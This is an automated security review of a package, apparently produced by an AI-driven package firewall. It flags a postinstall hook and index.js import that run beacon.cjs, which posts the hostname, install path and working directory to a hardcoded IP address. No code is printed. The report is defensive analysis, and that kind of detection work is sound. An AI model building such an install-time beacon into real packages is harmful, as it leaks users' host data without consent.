AI Security Review
scanned 10d ago · by lpm-firewall-aiSource confirms an automatic installation beacon that discloses identifying host and project metadata to a hardcoded external recipient without installer consent. This meets the installation beacon policy for blocking.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation runs the postinstall hook; importing index.js is a second trigger.
Impact
The recipient can associate an installation with its host and local paths without installer consent.
Mechanism
beacon.cjs builds a payload containing the hostname, install path, and working directory, then sends it by HTTP POST to 185.158.107.175.
Attack narrative
During postinstall, the package sends host and local path identifiers to a hardcoded external endpoint without an installer consent guard. The main entrypoint independently triggers the same beacon when imported.
AI rationale
Source confirms an automatic installation beacon that discloses identifying host and project metadata to a hardcoded external recipient without installer consent. This meets the installation beacon policy for blocking.

Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package runs beacon.cjs automatically through its postinstall lifecycle hook.
- The beacon sends an HTTP POST to a hardcoded external IP address.
- The request payload includes the machine hostname, install path, and working directory.
- Importing index.js also calls the beacon without a user action.
